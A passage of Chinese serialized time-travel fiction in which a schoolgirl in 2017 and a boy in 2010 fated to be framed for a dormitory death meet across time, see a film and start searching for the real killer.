照片中的男生穿着一身黑色,个子很高,下巴刻意收在皮夹克里,戴着帽子。半张脸被挡住,虽然略微模糊,但依旧能看出五官英挺,帅得足够有冲击力。
就算只是一张侧脸,黎遇也能认识他头上的那顶帽子。
是她那天给周湜与的。
那个晚上他是怎么回答自己的来着?
他说:「我会来找你的」
可他根本没有。
她接过咖啡,忍不住问:“是不是有个男生刚走?”
“你说那个帅哥啊?没错,走了没多久。”服务员看着面前的小姑娘涨得微红的脸,以为她是害羞,笑道:“好像出门往右拐了,你快跑几步,兴许能赶上。”
她小声道谢,闷闷不乐推开门。
这功夫,周湜与怕是早已经回到七年前了。
*
黎遇不开心了好几天。不过她从来不是个生闷气的孩子。生气,就得让对方知道。因此周五刚一放学,她就抱着本子去学校蹲周湜与。又怕没蹲到他,反倒蹲到了自己亲哥,她特意绕了个圈,站在男生宿舍楼下。
正好趁此机会,观察一番七年前的男生宿舍。
宿舍楼不新不旧,坐北朝南,宽度大约三十几米,两侧各有一个门,但黎遇观察过了,左侧哪门虽然挂着锁,但锁上有钥匙,右边那个门口有宿管,但那人坐在门口晒太阳,显然有一搭没搭地看着进出的学生。也就是说,别说是苏芸了,任何闲杂人等只要有心,都能够进出男生宿舍楼。
她在楼下徘徊,抬头望着四周的监控。
二零一零年,跟七年后的监控力度及技术都没办法比较。
黎遇扭头看了一眼那个门卫,只见他脑袋往下垂,看上去像是要睡着了。她踮起脚尖,跑向左边那个没人看着的门,正要踏进去,有人在她身后“哎”了一声。
她吓了一跳,回头。
周湜与走近了两步,“还真是你啊?”
黎遇一看见他,就皱起眉头,“怎么是你?”
“我就住这儿啊,小姐。”他踏上一步台阶,低头故意低声说:“我马上就要在这里差点儿弄死一个人了,你忘了?”
黎遇眼神一暗,气道:“你还好意思说?你为什么自己来七年后却不告诉我?”
周湜与一愣。
偏过头,半会儿才说:“你不是怕我吗?”
“我……”
“我去的是自己的墓地,荒郊野岭的,连个人都没得喊,你跟我待在一起,真不怕?”
黎遇吞了下口水,大声道:“我说了,我信任你!”
他轻笑一声,压根儿不信,绕过她就往里面走。
黎遇忙跟上去,“我承认,那天在学校,我还是有点儿害怕,毕竟那些传闻真真假假,除了我哥,我没见过其他人为你喊冤……但是,不管怎么说,没有我,你也到不了七年后,如果要抓凶手,你得带上我!”
攀去楼上的楼梯旁侧贴着一面镜子,周湜与目光略过,看见身后黎遇因兴致勃勃而放光的一双眼睛。
他攥紧了拳头,又松开。即使不闭上眼睛,那天直视自己墓碑的噩梦也会不停地出现在自己眼前。再天不怕地不怕,他也无法忍受,更无法接受自己脚踩的土地下埋葬着死的不明不白的尸体。
他回头,黎遇有点儿得意地说:“你不知道吧,我小时候的梦想是考警校。”
“现在呢?”
“现在是当律师,都是乐于助人的职业。”
“你呢?”她又问。
“我现在最大的梦想是活着。”周湜与淡淡开口,“只要我在高考第二天不回宿舍,老实待在考场门口,现在你看到的就不会是我的命运。”
“可、可是苏芸呢?”
“她怎么了?”
“她如果死了呢?”
“她只要不出现在男生宿舍,怎么会死?”
黎遇的脑子有一瞬间的混乱,“但的确有一个凶手呀,就算你们的命运被改变了,可他也是一个隐藏的杀人犯啊!”
周湜与站在第二级台阶上,靠着白墙,没说话,露出一个“所以呢”的表情。
黎遇的肩膀塌下来。她很丧气,也很失望。哥哥的描述与眼前的周湜与判若两人,即使放荡不羁,但他该是仗义的,阳光的。
她想起微微晃荡的苏芸,跺跺脚,撂下一句话,“好,那我自己找!”
周湜与抬起眼,阳光从玻璃门照进来,他看着她冲动跑开的背影,心里想,黎彦尧说的没错,他妹妹才是他们家的混世魔王。
*
他们的对话中断了。恨屋及乌,黎遇最近连黎彦尧都不太爱搭理,她每天放学
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后留在学校里自习,直到晚上八点多才离开。
二中只有高三学生和住宿生才可以留校自习。在黎遇孤零零地往门口走时,只有两侧的路灯在驻足。门卫在跟等着接孩子的家长聊天。
她经过他们时,听到那位年轻的父母感慨,“我们家是姑娘,就算离得近,这么晚了,还是我们亲自接回家放心。”
黎遇沿着外墙往公交车站走。
墙上贴着二中历年高考的高分得主,她从北向南走,年份逐渐遥远,直到在二零一一年戛然而止。塑料布已经陈旧了,人脸模糊,表情也显得空洞洞,黎遇撇开眼,低头看见了地上自己被拉长的影子。
目光向后掠。
也有一道影子在四五米开外。
还是有些冷。黎遇快跑了几步,公交站牌上显示33路还有七分钟才到达。她在手中哈哈气,扭头看见另一个和她穿着浅蓝色外套的男生垂着脑袋掀开了文具店的门帘。
她绕着公交车站转了两圈,一抬头,还是要等七分钟。
观澜院距离学校实际上只有一站车的距离,走路要花十三分钟。黎遇从小爱跑爱跳,就是讨厌走路。稍作犹豫,她还是抬步往家的方向走去。
学校附近的小餐馆大多都是早餐或是甜品店,上下学时间一过就显得冷冷清清。黎遇刚经过一家面馆,身后的老板娘就端着一桶水走出来,“刷啦”尽数泼在地上,她吓了一跳,回头时,又一次看见了那件浅蓝色运动服。
那衣服颜色跟他们的校服相近,黎遇一开始以为那也是个学生,方才一瞥,才注意到并不是。
而那男生她恰巧见过。
前天,昨天,都见过。
他前天跟自己上了同一班公车,因为手机没电没法刷卡,公车在站台等了他好长时间,后来还是其他乘客不耐烦,司机好心,让他直接上了车。
昨天,他就坐在自己的斜后方。
她在扭头看向窗外时,在倒映的窗户上,看见了他的脸。
那是一个年轻人,额前的刘海长了,遮住了眼睛。
他蜷缩着,看上去个子不高,只是一眼,黎遇也只留下了一个印象:瞧上去跟哥哥一般大。
黎遇拐过一个弯,路过市里中级人民法院时,又忍不住看了一眼后面。
那人也转弯。
早春的夜风一吹,她的校服鼓起来,枝杈四处摇晃,树叶沙沙作响,只有大门前的两座石狮子岿然不动。肃穆巍然,仿若伺机而动。
那人还是低着头走路。
夜里的浅蓝色格外鲜亮。
黎遇忽然有些害怕。
她快步走起来,垂着眼睛悄悄向后看,他的影子好像还是不远不近的。
在绿灯快要结束前,她一鼓作气沿着鸣笛声跑过去,撞上一个人。
抬起头,那人很高。
“呀……”
黎遇惊叫一声,“哥哥?”
“你跑什么?”
“我、我……”她回头,马路对面黑漆漆的,那还有那晃眼的颜色,她料想是都怪周湜与,让自己最近满脑子都是坏人,凶手之类的字眼。
“……没事,我饿了,晚上没吃饱,着急回家——你去哪儿啊?”
“接你啊。”黎彦尧没好气,“爸妈说太晚了,不放心你一个人回家,也就一公里,有什么不放心的……”
他嘟囔着,但还是接过了妹妹的书包。一对兄妹,朝家走去。
9. 道歉
第九章道歉
之后的几天,黎遇再也没有在自习后的路上遇上那人。她暗道是自己小题大做,兴许那几天真的只是碰巧了呢。
周五最后一节课,数学老师拖了十分钟堂。走出校门时,还是那个门卫,跟几个学生家长不知道在议论什么,一副煞有介事的模样。
“我都在这儿学校干了十几年了!不是我吹牛,这来来回回的学生哪个的脸我记不住?从没见过长得那么像七年前的那个学生的。刚才那小伙子站门口,吓我一跳!”
门卫抬起一只手,说的绘声绘色。
家长半信半疑,“这么久远了,你还记得?”
门卫摆摆手,哎呦了好几声,先喝了两口保温杯里的水,才继续兴致勃勃道:“当然了,终身难忘啊,当时我可是领着警察一起进去的——他就躺在地上,早都咽气咯!啧啧啧,多俊的孩子,咋能干出那样的事儿!”
“那个苏老师也可怜,这么多年心里肯定有道坎过不去,不然怎么会……”
黎遇顿住脚步,忙拉住旁边两个女生问:“同学,他们说的是谁啊?”
那两个女生头发一长一短,一听有人提问,立马脑袋凑在一起,靠近过来。
短发女生神神秘秘地:“咱们学校前几年那个命案你知道吧,有个人死在了宿舍里……”
“刚才校门口有个男生长得跟他特别像!”
长发女生从短发女生身后伸出脑袋,迅速抢答。
“什么?”
黎遇睁大眼睛,心脏开始怦怦跳。
“他特高,特帅,那眼睛……”
“那么漂亮的眼睛,世界上竟然有一模一样的两双!”
“你们说的是……周湜与?”
“真的吗?”
“当然假的啦,人早都死了,就是看着像,都是高个子,而且刚才那个男生戴着口罩——”
“——不过戴着口罩也能看得出来是个帅哥——”
“那现在他人呢?”黎遇急切地打断她。
“往那边走了。”女生指着校门口右边。
黎遇立刻朝那跑去,两个女生面面相觑,“这么着急看帅哥啊……”
*
周五放学,大多数学生走得慢悠悠,黎遇一边高喊“借过”一边拨开人群。
她看见了周湜与。
他很显眼。
穿了件黑色长袖,低头靠在墙上。来往的学生朝他看几眼,还有人指指点点。
他戴着深灰色口罩,故意把头发揉乱,额前的碎发半遮半掩挡住眼睛。
的确,就算大半张脸被挡住,黎遇也能一眼认出他。
应该是听到了她的声音,周湜与忽然抬起头,扭头向她的方向看过来。
在他们四目相对的那一刻,黎遇脚步慢了一拍。
前面有两个人挡住她的视线。
她的动作又缓了一些。
周湜与后背远离红墙,慢慢站直。
黎遇绕过去,在经过他的时候,她抬起手,准确地握住他的手腕,加快速度拉着他往远处跑。
议论声好像更大了。
但很快被他们甩在身后。
周湜与听到风在耳边呼啸。
黎遇的马尾辫在他的眼前跳跃。
他跑步一向都很快,但好像从未像今天,像此刻这样,感受到风这样剧烈地奔腾过。
黎遇像一只灵巧的小豹子,在逆行的自行车间乱窜,跑过每一个倒计时的绿灯,差点撞翻一辆黑色摩托车,那人晃了晃,腿支在路边,气得大骂:“你大爷的,你俩急着去开房啊!”
不过那些声音都被风裹着滚远了。
他跟着她一路跑,直到他们飞奔进一家商场,在电梯快要关门时,黎遇按下上行键。
电梯门重新慢吞吞地敞开。里面只有一个蓝色帽子的外卖员。
她终于松开他。两人各站了一个拐角。黎遇气喘不止,周湜与倒还好,只是额头上流了一层薄汗,他犹豫了一下,把口罩摘掉。
外卖员回头,挨个打量他们,见穿校服的女生垂眸面色粉红,又见男生果然长着过目难忘的脸,轻嗤一声,露出一个“我就知道你们在早恋”的表情。
周湜与撇开眼。
黎遇没注意到外卖员的表情,她低下头把散开的鞋带系上,然后在周湜与问出“我们去几楼”的时候终于看向他。
她按下最高层。
电影院。
他们站在巨幅海报下,黎遇仰着头,“看什么?”
七年后的电影在他的眼前徐徐展开。
“刺客信条。”周湜与毫不犹豫。
“不行,看爱乐之城!”黎遇看时间,立刻反驳,“这个电影刚好还有三分钟就开始了。”
他低头,耸耸肩,无奈道:“那你还问我干嘛?”
“我请客就得听我的。”队伍往前,他们也跟上去,她嘟嘟囔囔,“问你是尊重你。”
他们买好票进去时,影院已经熄了灯。黎遇摸黑找到第四排,周湜与在她右侧坐下。
还在播广告,一个接着一个,没完没了,周湜与换了个姿势,拳头撑着脑袋,看见黎遇抬着头,奢侈品广告的变幻光影在她的脸上流淌,她竟然看得津津有味。
除了偶尔会被前排一对情侣手捧的爆米花香气吸引。
他歪头,“哎,我像你这么大的时候——我是说七年前,看电影可没有这么多广告。”
黎遇冲他翻了一个白眼,“你装什么大尾巴蛇,你是穿越来的好吗,我们现在明明一样大。”
周湜与又“哎”了一声,“如果待会儿我突然消失,会不会把后面的观众吓死?人家买票来看的是爱情片,又不是恐怖片。”
黎遇扭过脸盯着他。
她差点儿把时间给忘了。
他低头看了一眼手表,“我到校门口的时候是五点半,现在已经过去三十五分钟了。”
“为什么这次时间久?”
“不知道。”他又在她旁边说了一句什么,被电影里的歌声盖住。黎遇见他弯腰沿着台阶下去,她一会儿望着荧幕,一会儿瞟一眼进出口,大约过了三四分钟,在她以为周湜与已经回去的时候,他终于重新出现在台阶下。抱着两杯可乐和一桶爆米花。
黎遇高兴接过,吸管插进去,小声说:“正好跑得很渴。”
安静下来,有些许亮光的黑暗显得有安全感。
两人终于都认真抬头看着电影,好像他们此行的目的便是为了爱乐之城。爆米花桶立正放在中间的扶手上。他们的手沿着各自那边的桶边轻轻抓起几粒,谁也尽量不越界,可手背和指尖偶尔还是会碰到。
这一次,黎遇不再炸毛躲开。
周湜与也不用说抱歉。
爆米花间的摩擦声哗沙沙的,划过耳朵,顺着冰可乐划过心脏。
她嘴里塞得有些满,声音含含糊糊,脑袋向他那边歪去,“你有感觉了吗?”
“什么感觉?”
“要离开的感觉。”
“……”
“没有,
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身体各项指标平稳。”周湜与胡说八道,脑袋也歪过去,“这次应该能活成百岁老人——”
话音未落,黎与刚把手放进爆米花桶里,感觉到原本停留在里面的另一只手忽然消失了,差点儿要碰到的小拇指指节的温度倏然变冷。她回头,周湜与消失了。
她半晌一动没动,过了一会儿,方才敢小心翼翼回头看去,幸好人不多,离他们最近的观众也在三排之外,他们盯着荧幕,谁也没有注意到其他异样。
电影一共一百二十分钟,结束时快要八点半。
黎遇留在最后一个,收垃圾的阿姨拿着笤帚问她:“姑娘,这个可乐你还要不要?”
她摇摇头,也顺着台阶走出去。
一整个晚上,她都有些空落落的,也许是电影结局不是她的那般幻想,也或许是明明两个人一起走进去的,却是她自己一个人走出来的。
晚饭吃的不多,章锦摸摸她的脑袋,“曈曈,是不是太辛苦了身体不舒服啊?别在学校晚自习了,还是回家写作业吧,妈妈还能给你做好吃的。”
“没有……”黎遇呆呆说:“我今天晚上看电影去了,爆米花吃多了。”
“看电影?跟同学吗?”
“……只有我一个人。”
她小声撒谎,章锦立刻狐疑地盯着女儿。黎遇从小就朋友多,哪有一个人去看电影的时候,当妈的有些忧心忡忡,黎劭丰却不如妻子想得那么多,“学习压力太大,出去玩玩也好。”
*
晚上十点多,周湜与又在他的错题本上作起画来。黎遇一笔一划地认真看着,片刻后笑起来,她拿出笔。
「爆米花我一个人吃完了,撑死。」
「电影好看吗?」
她顿了顿:「好看。」
周湜与学着她之前的样子,也在这两个字后面画了一个小眼睛。
黎遇想了想,又问:「对了,我还没来得及问,你今天来是做什么的?」
那边写下几笔,又迅速被他划掉。黎遇出去倒了一杯水,回来见日记本上多出一句话。
「来找你」
她坐下,放下杯子,把台灯调亮。
他继续道:
「我跟你道歉,上次在宿舍楼下,我对你说话太冲了」
周湜与意识到自己竟然有点儿紧张,但对面的黎遇几乎没让他的紧张持续,大大写下三个字:
「没关系!」
「所以你还想找到凶手吗?」
她很快问。
他抬头,望向远处的天空。
星星还在炽热地流淌,倾泻在银河中。
他深呼一口气。下午在二零一七年校门口的时刻并不好过。他没有想到门卫的记忆力那么好,没有想到他站在家长之间会那么引人注目,更没有想到会以这种方式从别人的嘴里听到自己的名字。
他去了自己的墓地,但没有见识别人对那个命案的议论。
原来对于这所学校来说,那件事是一团被烧焦的疤,盖不住,藏不了。
“光长得好看有什么用,那是个畜生!”
“就是,他真该死,死一万次都不够!”
当时,他靠在墙边,不停拽着自己的口罩,尽量不露出脸。周围对于周湜与其人在议论纷纷,他的内心震耳欲聋。
周湜与听见了自己愤怒,痛苦与仇恨的声音。
那是灼热的潮水,烧得他心口都发疼。
他死得不明不白,而有人正在冷眼偷笑着他背负上的侮名。
「想」
10. 橘子汽水
第十章橘子汽水
三月二十二日,周一。
刚出校门,周湜与接到了一个陌生电话。
他停下脚步,黎彦尧往前走了两步,回头有点儿奇怪,“走?”
周湜与抬起头,“嗯……你先走吧。”他往左拐,找了个没人的地方,接起来。
那边是个女孩儿的声音,不过刻意压低,“猜猜我是谁?”
刚听到前两个字,他已经笑起来,但还是说:“猜不出来。”
对面很得意,“就知道你猜不到,我是黎遇,没想到吧?”
周湜与抬起头,马路对面的小卖部里,有个穿着红色外套的姑娘,正拿着收银台上的座机兴致勃勃着。
“真没想到。”
那边又急切问:“你怎么不问我是怎么知道你的手机号的?”
绿灯刚亮起,他就小跑过去。
撩起小卖部的帘子,才对着手机慢悠悠得惊讶道:“天才少女,那你是怎么知道的?”
*
黎遇从两个声道分别听到了来自周湜与的声音。
她皱起眉头,立马意识到什么,回头看,肩膀塌下来,有点丧气,“你怎么知道我在这儿啊?”
周湜与没回答,替她挂了电话,在玻璃台上放下十二块钱,又说:“老板,再来两瓶橘子汽水。”
老板回头拿饮料。
黎遇被玻璃柜台上各式各样的糖果吸引了目光。
“这种戒指糖,还有那个CC乐吸管糖小时候我妈都不让我吃,考了第一名都不让,还是我自己攒钱放学后偷偷在小卖部买的呢。而且有些糖色素重,我牙齿染红了被妈妈发现,下个周的零花钱就没了。”
周湜与靠在一侧,听她津津有味怀念童年。
“你五年级的时候零花钱有多少?”
“一个周五块钱呢,在我们班也算是富婆了。”黎遇美滋滋道:“有次我发烧,妈妈终于给我买了好多糖吃,我高兴坏了,每个月都想发烧一次。”
他笑她,“你真知足常乐。”
拿了汽水,他们在小卖部门口的塑料桌子上坐下。
他挨个撬开瓶盖,铁皮圆盖子在桌面上咕噜噜地滚了几圈,滚到了黎遇的面前。
周湜与这才问:“所以,你是怎么弄到七年前的手机号的?”
“我哥哥一直存着呢,我昨晚偷偷在他手机里记下来的。”黎遇低头看那汽水的玻璃瓶身,半晌都没听到他的回复,抬起头,阳光在映着他的头发变成了柔软的栗色。
他瞧着稍微有些落寞。
她笑嘻嘻地说:“我当然知道我哥是个很好的朋友,你也不用太感动啦。”
他瞬间乐了,“那他知道吗?”
“知道什么?”
“就……”周湜与抓了抓头发,指头在两人间指了指,“我们俩已经认识了。”
“哦,不知道。”
黎遇想到了什么,有些不满,“他把这个本子已经送给我了。你不会抓凶手不想带我了,直接去找我哥吧?”
“我没有。”他举起双手发誓。
周湜与已经想过了,直接去找黎彦尧,他激动愤怒之下不知道会做出什么。
眼前这人现在就挺好。
“……这还差不多。”
黎遇露出两颗小虎牙。她从兜里掏出两张纸,“这是我在网上找到关于你那件事的所有报道。”
周湜与看过一遍,在校门两个字上画了一个圈,抬起头,“男生宿舍虽然管得不严,但是校门口只要不是学生和老师,进来都得登记,所以……”
“所以,真的凶手一定是学校里的人,对吗?”
“大概率是。”
“苏芸平时都接触哪些人最多?”
“我哪儿知道。”
黎遇眨眨眼睛,“她好像很喜欢你呢,不然怎么会悄悄往你的宿舍里送情书。”
周湜与有点儿炸毛,“我又不喜欢她。”
黎遇知道,周湜与显然打心底里对苏芸这人作伪证有点儿意见。她眯起眼睛,打量一番他,“你知道这件事情后,敢说自己完全都没关注过苏芸,哪怕只有一点点?”
他把瓶盖握在手心,在她的注视中不得已开口,“好吧,我承认,我之前根本不认识她,现在我起码知道她长什么样子,是文科二班的学生,剩下的我就不清楚了。”
“那你去认识她吧!”黎遇微微前倾,“要了解她平时的行动轨迹。”
“不要。”周湜与偏过头,“听着特像变态。”
黎遇扯他的校服袖子。他却在转头后愣神,她不由跟着他的方向一同看去。
对面有几个学生。
一个眉眼恍惚间有些熟悉的人沉默地站在路口,正朝向他们。
“那……是苏芸吗?”
“嗯。”
十七岁的苏芸和黎遇印象里的不太一样。成年后的苏芸温柔又美丽,让她一直以为她在学生时代也是如此,可是,车辆川流另一边的年轻女孩儿看上去灰扑扑的,头发刚过下巴,微微垂着头,若不是认出了她,黎遇绝对不会注意到此人。
*
“苏芸,发什么呆呢,公车快来了。”
苏芸回过神,慢慢转身,跟着另外几个女同学的身后。
“对了,周校长的数学补习班你想好要不要参加了吗?”
她还在低头看自己的球鞋。这双鞋已经穿了四年了,大拇指顶着的地方开线了。鞋又不像破了洞的袖子,卷上去就能藏起来。
她抿抿唇。
周湜与的身边什么时候多了一个漂亮女孩儿?她看上去很开朗,不然他看她的时候也不会眼睛里都是笑意。
早恋的人那么多,发生在他身上也没什么奇怪的。那日体育课上他分明回头特意看了自己一眼,她心怀期待了好多天,甚至想去报名他爸爸的数学课,说不定能遇见他更多次。
可是现在……
“我不去了。”
苏芸抬起头,说。
“啊,为什么呀。”
“我的数学成绩本来就一般,周校长的课更适合尖子班学生。”
……
“好吧。”
周湜与主动妥协了一步,“如果她主动跟我说话,我不会不搭理她的。”
“大气!”
“让我们为我们的抓坏人小队正式成立而干杯!”
黎遇举起汽水瓶,阳光跃进她的双眼。
“我们现在也算朋友了吧?就像你跟我哥哥那样。”
她又问。
对面的小学放学了。那些孩子穿着红色校服扬着笑脸跑跳着冲出来,像是一片热烈的赤色海洋向他奔涌。
“当然算。”
周湜与也举起玻璃瓶。
叮地一声——
他们的瓶子清脆相碰。
折射的阳光跟随着瓶中的饮料晃了晃。
同一刻,黎遇也随之在他的眼前不见。
他快速伸出手,接住她的那瓶汽水,在手心里晃了晃,想起来这次好像忘了记时间。
*
黎遇刚小跑回家,哥哥就敲响她的房门。
“曈曈,出来,我有话跟你说。”
她忙把日记本塞
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回书包。
黎彦尧在门口急不可耐,“曈曈,我知道你在家,开门!”
她打开门,没好气冲哥哥道:“你是雪姨啊。”
可黎彦尧看上去没什么心情跟她开玩笑,扭头见妈妈正楼下看电视,他把她拉进书房,关上门。
“你坐下,我有很严肃的问题要问你。”
“哦,你问啊。”黎遇心不在焉,一进门,她就被哥哥新买的漫画吸引,她踮着脚尖,想要拿下来一本。
“黎遇!”
她回头,黎彦尧面色不大好,收起笑容,坐下来,“怎么了?”
黎彦尧围着屋子转了一圈,连连叹气。右拳头打在左手上,恨铁不成钢地妄想他。黎遇等了一会儿,见他反而不说话了,就道:“那我走了哦。”
“等等……你是不是谈恋爱了?”
“啊?”
“上周五,你是不是拉着一个男的跑出校门来着?”
她一屁股坐回去,“你听谁说的?”
“那就是有了?”
“我哪儿说有了?”
“是不是董逸帆说的?”
“我就知道,他就会告密,从小他就爱告密。”
黎彦尧撇了一脸怒气的黎遇,想起董逸帆对那日放学时黎遇主动拉手的男生天花乱坠般的形容——眼睛特好看,鼻梁特高,头发特多,腿特长,男模似的,最重要的是,虽然遮着脸,乍一看还真像周湜与。
他简直痛心疾首,“你不能看一个人长得帅就跟他在一起你知道吗?”
“我没跟他在一起!”
“你坐下!”黎彦尧看了一眼门外,“你声音小点儿,妈妈听到了怎么办。”
“听到就听到,我行得正,坐得端,反倒是你,成天怀疑我干嘛?你实验做完了?博士论文写完了?导师终于在你每天虔诚的祈祷下上火星不再折磨你了?”
他没听见似的,又开始满屋子乱转,“我就说嘛,你这几天怪怪的,回家越来越晚,一回来就锁着门,还骗人,骗我们说你是一个人去看电影的,你才多大——”
“——你现在……
他一回头,不知道什么时候书房门悄悄被打开了,黎遇早都不见人影了。
*
黎遇不打算把这件事情告诉周湜与。但快睡觉时,他们照例聊天,她主动提起:
「下次我们不能在校门口见面了。」
可周湜与敏锐得像一只草原上的羚羊,“怎么了,你哥发现了?”
她画了一个大大的感叹号。
「他不知道是你,还以为我偷偷早恋了。」
写下这句话后,那边好久都没反应。
她等得不耐烦:「你怎么不说话了?」
「刷牙去了」
「住宿舍刷牙也要排队」
他又补充。
「刚才忘了问,你的舍友人怎么样?」
「除了我,还有三个人,都不是同一个班的,但人不错」
「你觉得会是他们其中某个人吗?」
「不会」
「你这么肯定?」
「如果他真想干点儿什么,可以选在任何一天,没必要是高考最后一场开始前」
黎遇咬着笔头,在纸面上写下「高三」两个字,又在之上画了一个叉。
「对了」
「这几天一直想问你一个事来着」
「什么事啊?」
黎遇等了片刻,收到来自七年前的周湜与表示疑惑:
「那天我在电影院买爆米花,付钱的时候那人让我扫码来着,扫什么二维码啊?」
11. 母亲
第十一章母亲
三月二十四日,周三。
周湜与上午请了假,早晨走出校门沿着日出的方向一直走,他回到春华路161号,那是一处年龄快有二十岁的小区,大门外的马路经年未修,坑坑洼洼,头发花白的老头费力地骑着三轮车,车把上的铃铛,和背后“收废品”的喇叭从周湜与的身前穿到身后,飘向了远处。
一楼的肉店开门开得早,从乡下运来的鸡装在门口的笼子里,五点不到就咯咯叫,他路过的时候,邻居大妈正在和店主吵架,物业站在事不关己地,一旁一个接一个地打哈欠。
周湜与推开二单元302的门。
他有一段时间没回家了。
周因昌在卧室听到动静,走出来看了一眼,回去那件外套,指着茶几,“把给你妈带着苹果提上。”
除了苹果,茶几上什么都没有。
这房子跟空的没什么区别。周湜与几乎从不回来,周因昌同样常年住校,他从未见过有人像他爸一样,这么热爱工作。
太阳彻底露出了头,又被一片云盖住。
他们开车前往回龙寺墓地。徐文嘉在那里长眠了整整十四年。
徐文嘉是周湜与的亲生母亲。
他对她几乎没什么印象了,关于她的形容从小都出自别人的口中。
温柔,美丽,有才华。
他们说的多了,他的脑中变总会浮现着那些关于母亲的画面,可他至今也不知道那究竟是真实的记忆还是只是他们的文字经过他的补充而幻化的画面。
小姨总说从未见过对孩子这样全心付出的母亲。可周湜与总是自私地想,如果她真的那么爱自己,怎么会选择自杀而留下一个三岁多的孩子在人世?
他很少主动开口叫周因昌为“爸”。
他是姥姥姥爷带大的,十岁之后才跟他一起生活,没两年上了初中,便开始了住校生活。他们父子无话,在学校的时候,好歹还有一层师生的身份,离开学校,除了尴尬,就是沉默。
周因昌将车开出小区。
他打了转向灯,“高三的一模快要开始了吧?”
“嗯。”
“准备的怎么样?”
“还行。”
“还行?”他冷笑一声,“还行就是不行,你们这些学生我还不了解?”
“周校长。”周湜与打断他爸,“现在已经不在二中了,能放下您的身段吗?”
“有你这么跟父亲说话的吗?”他怒不可遏,“不懂尊师重道,连起码的尊重长辈都不知道。”
话虽如此,他也就真的不再提起学习。
可不提学习,周家父子也就没有别的话了。
周湜与看向车窗外。看外面的景色从笔直的钢铁丛林变成缥缈的乡下仲春。
北归的燕子在天空划过。
黎遇跳进他的脑中。
昨天晚上,她写作文般得认真,在本子上洋洋洒洒落下几百字,周湜与拧着眉头逐字往下读,快看完时,终于意识到她这是在教自己怎么与苏芸相识相处——
「小姐,这跟卖身有什么区别?」
黎遇表示十分不赞同。
「你这人说话太难听。」
「这明明叫自救!」
他不由得笑了一下。
周因昌皱着眉扭头看他。儿子一切反常的行为在他眼中都被粗暴地划分到不务正业的混混。
周湜与低头轻咳。
到达墓地时接近早上十点半。
周因昌低头将墓碑上的树杈扫去,拿出一块抹布,将上面的灰烬擦掉,周湜与把袋子里的苹果拿出来,挨个排列在墓前后,便站在一旁沉默。
墓碑被周因昌擦得锃亮,他在里面看到了儿子的倒映,低声道:“每年都说让你别来,每次都要来,来了又一言不发。”
周湜与对于父亲不满意自己的一切早已习以为常,“说什么?跟谁说?我妈都没了,说了谁能听到?”
周因昌冷喝,“你懂不懂什么叫孝道?”
周湜与抬头望天。
他深呼几口气,又问:“如果我也死了,你会把我埋在我妈旁边吗?”
周因昌是他在世界上最后一个亲人了。
而对于对方来说,他也同样。哪怕他们父子情淡漠,周湜与依旧不愿相信,他爸对他的信任真的如此低,低到发生了那样的事情,他的反应没有辩解,没有不可置信,只有耻辱,只有迅速抛弃这个儿子。
一听这话,周因昌立刻面色铁青,“如果你不会说话,那就赶紧滚蛋,我不想让文嘉知道,这些年我一个人就养出你这个口无遮拦的东西!”
周湜与满不在乎,扭头便向外走。
*
黎遇穿过一排排书架,向里走。二中的毕业合照纪念册在最里面的那排。每年六月一日,高三的学生会拍一张整个年级的合照,从上世纪八十年代开始,每年的合照都会存放在图书馆的相册合集中。
相册不允许外借,她趁着上体育课的功夫,翻出相册,一年一年略过,直到二零一一年。苏芸高中毕业的那一年。
那年文理科学生一共八百七十五人。苏芸所在的二班靠近右边,她站在第二排,厚厚的刘海遮住大半张连,她收紧下巴,看上去怯怯的。
照片的左下角标记着拍下照片的时间——那是接近周湜与去世一年的日子。
照片背面按照合照的位置,注释每个学生和老师的名字。
在跟苏芸隔着三个学生的位置,黎遇看到了一个“汪雅曼”三个字。
这不是她第一看见这个名字。
最近几个周,她看了太多有关当年的报道,每个出现过的人都给她留下了或深或浅的印象。
照片中的女孩儿肤色白皙,五官清丽,站在靠近中间的位置,却瞧上去游离在众人之外。
汪雅曼是苏芸的同班同学,当年,她是第一个在采访中表示周湜与不会是凶手的学生。更令黎遇记忆深刻的是,没过几天,当另一家纸媒联系她时,她彻底推翻了之前的说法,并坚决表示自己不认识死者,甚至跟苏芸也同样交集不多。
黎遇轻轻点了点她的模样,只觉得一片更大的谜团在慢慢包裹住自己。
*
温度慢慢开始上升。
周湜与脱掉校服外套,黎彦尧在看台下面把篮球向他抛过来。他接住,又扔回去。
“你今天不打球?”
“不打,我困,昨天失眠。”
周湜与摆摆手,向看台上面走,找个阴凉的地方。
黎彦尧在下面嘟囔,“你才多大啊,就失眠,老了可咋办?”
周湜与横躺在最面上那排,把校服盖在自己的脸上。在迷迷糊糊间,他听到有人下面喊,“哎,那个男同学!”
他慢慢睁开眼睛,把校服掀起来,坐起来看着下面。
体育老师看清他的脸,立刻没好气道:“周湜与,体育课是让你睡觉的?下来,高二的女同学要练习排
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球,你去帮她们去器材室搬搬东西。”
周湜与抓抓头发,他眯起眼睛,看见体育老师旁边站了四个女孩儿,其中一个短发,低着头。
不是苏芸是谁?
他站起来。
器材室距离看台大约要走三四分钟。周湜与在前面,听到后面几个人小声叽叽喳喳。
“你去问。”
“我不要。”
“哎呀,你去嘛……”
“苏芸,要不你去?”
周湜与忽然顿住脚步。他回头,几个女孩儿正在扭捏推搡的女孩们即可噤声,抬头望向他。他问:“你们有钥匙吗?”
“有,老师给了。”
他接过钥匙打开门,个头最高的那个女生终于忍不住开口,一点点蹭过来,“学长,你想考哪所大学啊?”
周湜与一直都很清楚自己未来做想做什么。他爸虽然对他十分严厉,但从未与他谈论过他的未来,他渴望踏上哪一条路,期待何种生活。
但现在,他说:“我没想好。”
“哦……”
他把角落里装着排球的铁筐推出来。
“你们要几个排球?”
“十个。”
——昨天黎遇是怎么说的来着?
「要贴心,要细心,要热心。」
啧……
“那你们四个人每人抱三个,还能多出来两个。”
“全部我们自己抱。”女孩儿们面面相觑,指着他,“那你呢?”
“我不是来给你们推排球筐的么,我发现这儿凉快,适合补觉,钥匙先放在我这里。待会儿我替你们还回去。”
“好吧。”
还有——
「适时展示自己的优势。」
行。
周湜与特意挑了一个气足的排球,放在手上转了转,跟平时打篮球比赛一样,精准向前抛去,“接球了!”
以及。
「记得露出温柔笑容以及注意眼神交流。」
这不神经病么……
周湜与默默叹口气,嘴角提上去。跟着四个女孩儿身后走到门口,哎了一声,好声好气地嘱咐她们,眼神扫过苏芸有些气馁的脸,混不吝道:“别告诉体育老师我在这儿,不然我又得挨骂了。”
她们点点头。
他关上门。
